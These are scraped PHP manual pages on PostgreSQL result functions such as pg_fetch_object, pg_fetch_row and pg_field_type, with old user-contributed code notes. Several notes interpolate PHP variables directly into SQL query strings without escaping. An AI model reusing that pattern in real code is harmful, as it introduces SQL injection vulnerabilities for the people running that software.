echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org 24-Oct-2003 06:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
    print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com 21-Jun-2003 08:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
    function pg_fetch_assoc ($result)
    {
      return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
    }
}
Brenton Strickler 06-Jan-2003 05:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.
pg_fetch_array
pg_fetch_object
PostgreSQL Functions


Fetch a row as an object

pg_fetch_assoc
pg_fetch_result
PostgreSQL Functions
PHP Manual

pg_fetch_object

(PHP 4, PHP 5)

pg_fetch_object — Fetch a row as an object

Description

object pg_fetch_object ( resource $result [, int $row [, int $result_type = PGSQL_ASSOC ]] )
object pg_fetch_object ( resource $result [, int $row [, string $class_name [, array $params ]]] )

pg_fetch_object() returns an object with properties that correspond to the fetched row's field names. It can optionally instantiate an object of a specific class, and pass parameters to that class's constructor.

Note: This function sets NULL fields to the PHP NULL value.

Speed-wise, the function is identical to pg_fetch_array(), and almost as fast as pg_fetch_row() (the difference is insignificant).

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

result_type

Ignored and deprecated.

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

An object with one attribute for each field name in the result. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Changelog

Version | Description
5.0.0 | class_name and params were added. The old form with result_type still exists for backwards compatibility.
4.3.0 | result_type default changed from PGSQL_BOTH to PGSQL_ASSOC, since the numeric index was illegal.
4.1.0 | The parameter row became optional.

Examples

Example #1 pg_fetch_object() example

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
  echo "Failed connecting to postgres database $database\n";
  exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

while ($data = pg_fetch_object($qu)) {
  echo $data->author . " (";
  echo $data->year . "): ";
  echo $data->title . "<br />";
}

pg_free_result($qu);
pg_close($db_conn);

?>

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_assoc() - Fetch a row as an associative array
  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

ekevu at yahoo dot com 02-Jul-2007 07:36
PostgreSQL boolean true becomes string "t"
PostgreSQL boolean false becomes string "f"
This is ambiguous, and leads to code duplication. I wonder why aren't the types correctly typed when fetching values. We could at least have an optional parameter to enable that.
robeddielee at hotmail dot com 27-Jan-2006 11:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com 15-Nov-2004 06:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
    $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl 16-Jun-2004 08:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
    printf("<tr>\n");
    printf("    <td>%s</td>\n",$data->foo);
    printf("    <td>%s</td>\n",$data->bar);
    printf("</tr>\n");
}
Lars at dybdahl dot dk 14-Oct-2003 08:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com 09-Feb-2003 07:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
                echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com 16-Mar-2002 09:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."
pg_fetch_assoc
pg_fetch_result
PostgreSQL Functions


Returns values from a result resource

pg_fetch_object
pg_fetch_row
PostgreSQL Functions
PHP Manual

pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5)

pg_fetch_result — Returns values from a result resource

Description

string pg_fetch_result ( resource $result , int $row , mixed $field )
string pg_fetch_result ( resource $result , mixed $field )

pg_fetch_result() returns the value of a particular row and field (column) in a PostgreSQL result resource.

Note:

This function used to be called pg_result().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted, next row is fetched.

field

A string representing the name of the field (column) to fetch, otherwise an int representing the field number to fetch. Fields are numbered from 0 upwards.

Return Values

Boolean is returned as "t" or "f". All other types, including arrays are returned as strings formatted in the same default PostgreSQL manner that you would see in the psql program. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, or on any other error.

Examples

Example #1 pg_fetch_result() example

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";
?>

The above example will output:

First field in the second row is: 2

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array

User Contributed Notes

Alan U. Kennington 22-Sep-2006 06:49
See bug #33809 http://bugs.php.net/bug.php?id=33809
Whether this really is a bug or a feature is not clear.
However, it is probably best to always put your column names in extra quotes.

$res = pg_query(...);
$colname = pg_field_name($res, $j);
pg_fetch_result($res, $i, "\"$colname\"");
Alan U Kennington 22-Sep-2006 05:16
In order to use upper case in pg_fetch_result column names, it is apparently necessary to include explicit quotation marks.

Thus when I do this sort of thing:

$res = pg_query(...);
$ncols = pg_num_fields($res);
for ($j = 0; $j < $ncols; ++$j) {
    $colname[$j] = pg_field_name($res, $j);
    $name = htmlspecialchars($colname[$j]);
    print("Column $j name = \"$name\"\n");
    $value = htmlspecialchars(pg_fetch_result($res, 0, $colname[$j]));
    print("Column \"{$colname[$j]}\" value = \"$value\"\n");
    }

I get this sort of thing:

[....]
Warning: pg_fetch_result() [function.pg-fetch-result]: Bad column offset specified in /.../view.php on line 247
Column 8 name = "VEC index"
Column "VEC index" value = ""

But if I change the $value line to this:

$value = htmlspecialchars(pg_fetch_result($res, 0, "\"$colname[$j]\""));

I get this:

[...]
Column 8 name = "VEC index"
Column "VEC index" value[0] = "47"

In my opinion, pg_fetch_result(...) should use the quotes already. In other words, this may be a bug in the PHP postgres library. It does not seem to be a documented feature of pg_fetch_result() although the postgresql manual documents it under "SQL syntax", "Lexical structure".

PHP version 5.1.4.
psql version 8.1.4.
Akbar 01-Dec-2004 08:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com 04-Sep-2002 08:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }
pg_fetch_object
pg_fetch_row
PostgreSQL Functions


Get a row as an enumerated array

pg_fetch_result
pg_field_is_null
PostgreSQL Functions
PHP Manual

pg_fetch_row

(PHP 4, PHP 5)

pg_fetch_row — Get a row as an enumerated array

Description

array pg_fetch_row ( resource $result [, int $row ] )

pg_fetch_row() fetches one row of data from the result associated with the specified result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

Return Values

An array, indexed from 0 upwards, with each value represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Changelog

Version | Description
4.1.0 | The parameter row became optional.

Examples

Example #1 pg_fetch_row() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

eddie at eddiemonge dot com 06-Oct-2009 05:09
pg_fetch_row is faster than pg_fetch_assoc when doing a query with * as the select parameter. Otherwise, with declared columns, the two are similar in speed.
pletiplot at seznam dot cz 06-Jun-2006 03:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de 26-Apr-2005 02:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com 14-Oct-2004 12:03
Get downlines, put them into arrays.

function get_downlines($my_code){
    global $link;

    $sql = "select user_id, name from tb_user where parentcode = $my_code";
    $res = pg_query($link,$sql);
    if(!$res){
        echo "Error: ".$sql;exit();
    }
    $num_fields = pg_num_fields($res);
    $info_rows = 0;

    $num_rows = pg_num_rows($res);
    while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

        while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
        }
        $info_rows++;
    }
return $info_elements;
}
Matthew Wheeler 22-May-2003 09:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id 23-Jul-2002 08:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net 22-Aug-2001 05:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
    for ($j=0; $j<$col_num; $j++){
    list($col_name, $col_value) =each($line);
    print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
    }
  echo "<br>";
  }
pg_fetch_result
pg_field_is_null
PostgreSQL Functions


Test if a field is SQL NULL

pg_fetch_row
pg_field_name
PostgreSQL Functions
PHP Manual

pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5)

pg_field_is_null — Test if a field is SQL NULL

Description

int pg_field_is_null ( resource $result , int $row , mixed $field )
int pg_field_is_null ( resource $result , mixed $field )

pg_field_is_null() tests if a field in a PostgreSQL result resource is SQL NULL or not.

Note:

This function used to be called pg_fieldisnull().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted, current row is fetched.

field

Field number (starting from 0) as an integer or the field name as a string.

Return Values

Returns 1 if the field in the given row is SQL NULL, 0 if not. FALSE is returned if the row is out of range, or upon any other error.

Examples

Example #1 pg_field_is_null() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die ("Could not connect");
  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  if ($res) {
      if (pg_field_is_null($res, 0, "year") == 1) {
          echo "The value of the field year is null.\n";
      }
      if (pg_field_is_null($res, 0, "year") == 0) {
          echo "The value of the field year is not null.\n";
    }
 }
?>

User Contributed Notes

There are no user contributed notes for this page.
pg_fetch_row
pg_field_name
PostgreSQL Functions


Returns the name of a field

pg_field_is_null
pg_field_num
PostgreSQL Functions
PHP Manual

pg_field_name

(PHP 4 >= 4.2.0, PHP 5)

pg_field_name — Returns the name of a field

Description

string pg_field_name ( resource $result , int $field_number )

pg_field_name() returns the name of the field occupying the given field_number in the given PostgreSQL result resource. Field numbering starts from 0.

Note:

This function used to be called pg_fieldname().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The field name, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_num() - Returns the field number of the named field

User Contributed Notes

12-Aug-2004 10:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

        $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

        $data = pg_fetch_object($result);

        return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com 12-Jan-2001 11:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"
pg_field_is_null
pg_field_num
PostgreSQL Functions


Returns the field number of the named field

pg_field_name
pg_field_prtlen
PostgreSQL Functions
PHP Manual

pg_field_num

(PHP 4 >= 4.2.0, PHP 5)

pg_field_num — Returns the field number of the named field

Description

int pg_field_num ( resource $result , string $field_name )

pg_field_num() will return the number of the field number that corresponds to the field_name in the given PostgreSQL result resource.

Note:

This function used to be called pg_fieldnum().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_name

The name of the field.

Return Values

The field number (numbered from 0), or -1 on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select author, year, title from authors where author = 'Orwell'");

  echo "Column 'title' is field number: ", pg_field_num($res, 'title');
?>

The above example will output:

Column 'title' is field number: 2

See Also

  • pg_field_name() - Returns the name of a field

User Contributed Notes

There are no user contributed notes for this page.
pg_field_name
pg_field_prtlen
PostgreSQL Functions


Returns the printed length

pg_field_num
pg_field_size
PostgreSQL Functions
PHP Manual

pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5)

pg_field_prtlen — Returns the printed length

Description

int pg_field_prtlen ( resource $result , int $row_number , mixed $field_name_or_number )
int pg_field_prtlen ( resource $result , mixed $field_name_or_number )

pg_field_prtlen() returns the actual printed length (number of characters) of a specific value in a PostgreSQL result. Row numbering starts at 0. This function will return FALSE on an error.

field_name_or_number can be passed either as an integer or as a string. If it is passed as an integer, PHP recognises it as the field number, otherwise as field name.

See the example given at the pg_field_name() page.

Note:

This function used to be called pg_fieldprtlen().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result. Rows are numbered from 0 upwards. If omitted, current row is fetched.

Return Values

The field printed length, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_size() - Returns the internal storage size of the named field

User Contributed Notes

djmaze@moocms 25-Aug-2007 05:01
Or even easier to keep things simple on fetching

SELECT a.attname AS name, t.typname AS type, a.attstorage AS i,
    CASE WHEN a.attlen = -1 THEN a.atttypmod ELSE a.attlen END AS size
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = 'moo_members'
    AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped
gregm at gxsnmp dot org 12-Feb-2007 08:11
If you update the query to this:

$s = "SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped";

You get postgres to filter out the 'postgres' columns and get only your columns back.
r dot galovic at r-3 dot at 18-Apr-2005 01:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
    $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = '$TABLE'
    AND a.attrelid = c.oid AND a.atttypid = t.oid";

    if ($r = pg_query($DBCON,$s))
    {
        $i=0;
        while ($q = pg_fetch_assoc($r))
        {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
            $i++;
        }
        return $a;
    }
    return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
    echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}
pg_field_num
pg_field_size
PostgreSQL Functions


Returns the internal storage size of the named field

pg_field_prtlen
pg_field_table
PostgreSQL Functions
PHP Manual

pg_field_size

(PHP 4 >= 4.2.0, PHP 5)

pg_field_size — Returns the internal storage size of the named field

Description

int pg_field_size ( resource $result , int $field_number )

pg_field_size() returns the internal storage size (in bytes) of the field number in the given PostgreSQL result.

Note:

This function used to be called pg_fieldsize().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The internal field storage size (in bytes). -1 indicates a variable length field. FALSE is returned on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_prtlen() - Returns the printed length
  • pg_field_type() - Returns the type name for the corresponding field number

User Contributed Notes

ij at NOSPAM dot irj dot co dot za 14-Jun-2005 04:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de 23-Feb-2005 05:49
function get_create_syntax( $table )
{
  $qry  =  "
            SELECT    *
            FROM      $table
            LIMIT     1
          ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
    $name = pg_field_name( $res, $i );
    $type = pg_field_type( $res, $i );
    $size = pg_field_size( $res, $i );

    $item[$i] = '"'.$name.'" '.$type;

    $qry  =  "
              SELECT    a.atttypmod    AS size,
                        a.attnotnull  AS notnull
              FROM      pg_attribute  AS a,
                        pg_class      AS c
              WHERE     c.relname   = '$table'
              AND       a.attrelid  =  c.oid
              AND       a.attname    =  '$name'
             ";
    $res2  = pg_query( $qry );
    $out  = pg_fetch_object( $res2 );

    if( $out -> size != -1 )
    {
      $item[$i] .= '('.( $out -> size - 4 ).')';
    }
    if( $out -> notnull == 't' )
    $item[$i] .= ' NOT';

    $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe 02-Jul-2002 09:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields
pg_field_prtlen
pg_field_table
PostgreSQL Functions


Returns the name or oid of the tables field

pg_field_size
pg_field_type_oid
PostgreSQL Functions
PHP Manual

pg_field_table

(PHP 5 >= 5.2.0)

pg_field_table — Returns the name or oid of the tables field

Description

mixed pg_field_table ( resource $result , int $field_number [, bool $oid_only = false ] )

pg_field_table() returns the name of the table that field belongs to, or the table's oid if oid_only is TRUE.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

oid_only

By default the tables name that field belongs to is returned but if oid_only is set to TRUE, then the oid will instead be returned.

Return Values

On success either the fields table name or oid. Or, FALSE on failure.

Examples

Example #1 Getting table information about a field

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "SELECT bar FROM foo");

echo pg_field_table($res, 0);
echo pg_field_table($res, 0, true);

$res = pg_query($dbconn, "SELECT version()");
var_dump(pg_field_table($res, 0));
?>

The above example will output something similar to:

foo
14379580

bool(false)

Notes

Note:

Returning the oid is much faster than returning the table name because fetching the table name requires a query to the database system table.

See Also

  • pg_field_name() - Returns the name of a field
  • pg_field_type() - Returns the type name for the corresponding field number

User Contributed Notes

strata_ranger at hotmail dot com 15-May-2009 11:11
pg_field_table is primarily useful for queries that involve joins between multiple tables, e.g:

<?php
$res = pg_query("SELECT table1.foo, table2.bar FROM table1 JOIN table2");
echo pg_field_table($res, 0); // Outputs 'table1'
echo pg_field_table($res, 1); // Outputs 'table2'
?>

However, be aware of a few easy 'gotchas':

1- If your query contains static values in its select-list, pg_field_table() will yield FALSE for those fields (because it was a static value, not one fetched from a table):

<?php
$res = pg_query("SELECT 'foo', bar FROM table");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // Outputs 'table'
?>

2- If you UNION two queries together from different tables, pg_field_table() will return FALSE for all fields:

<?php
$res = pg_query("(Select foo, bar from table1) UNION (Select foo, bar from table2)");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // FALSE
?>
pg_field_size
pg_field_type_oid
PostgreSQL Functions


Returns the type ID (OID) for the corresponding field number

pg_field_table
pg_field_type
PostgreSQL Functions
PHP Manual

pg_field_type_oid

(PHP 5 >= 5.1.0)

pg_field_type_oid — Returns the type ID (OID) for the corresponding field number

Description

int pg_field_type_oid ( resource $result , int $field_number )

pg_field_type_oid() returns an integer containing the OID of the base type of the given field_number in the given PostgreSQL result resource.

You can get more information about the field type by querying PostgreSQL's pg_type system table using the OID obtained with this function. The PostgreSQL format_type() function will convert a type OID into an SQL standard type name.

Note:

If the field uses a PostgreSQL domain (rather than a basic type), it is the OID of the domain's underlying type that is returned, rather than the OID of the domain itself.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The OID of the field's base type. FALSE is returned on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Assume 'title' is a varchar type
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

The above example will output:

Title field type OID: 1043

See Also

  • pg_field_type() - Returns the type name for the corresponding field number
  • pg_field_prtlen() - Returns the printed length
  • pg_field_name() - Returns the name of a field

User Contributed Notes

mauroi at digbang dot com 24-Mar-2005 07:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.
pg_field_table
pg_field_type
PostgreSQL Functions


Returns the type name for the corresponding field number

pg_field_type_oid
pg_free_result
PostgreSQL Functions
PHP Manual

pg_field_type

(PHP 4 >= 4.2.0, PHP 5)

pg_field_type — Returns the type name for the corresponding field number

Description

string pg_field_type ( resource $result , int $field_number )

pg_field_type() returns a string containing the base type name of the given field_number in the given PostgreSQL result resource.

Note:

If the field uses a PostgreSQL domain (rather than a basic type), it is the name of the domain's underlying type that is returned, rather than the name of the domain itself.

Note:

This function used to be called pg_fieldtype().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

A string containing the base name of the field's type, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Assume 'title' is a varchar type
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type: ", pg_field_type($res, 0);
?>

The above example will output:

Title field type: varchar

See Also

  • pg_field_prtlen() - Returns the printed length
  • pg_field_name() - Returns the name of a field
  • pg_field_type_oid() - Returns the type ID (OID) for the corresponding field number

User Contributed Notes

Anonymous 16-Jan-2010 07:18
Also be aware that postgreSQL array fields will prefix the type name with an underscore (e.g. "_int4" or "_text"), while composite a.k.a. row-type fields will return type "record".
marxarelli 02-Jan-2006 02:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
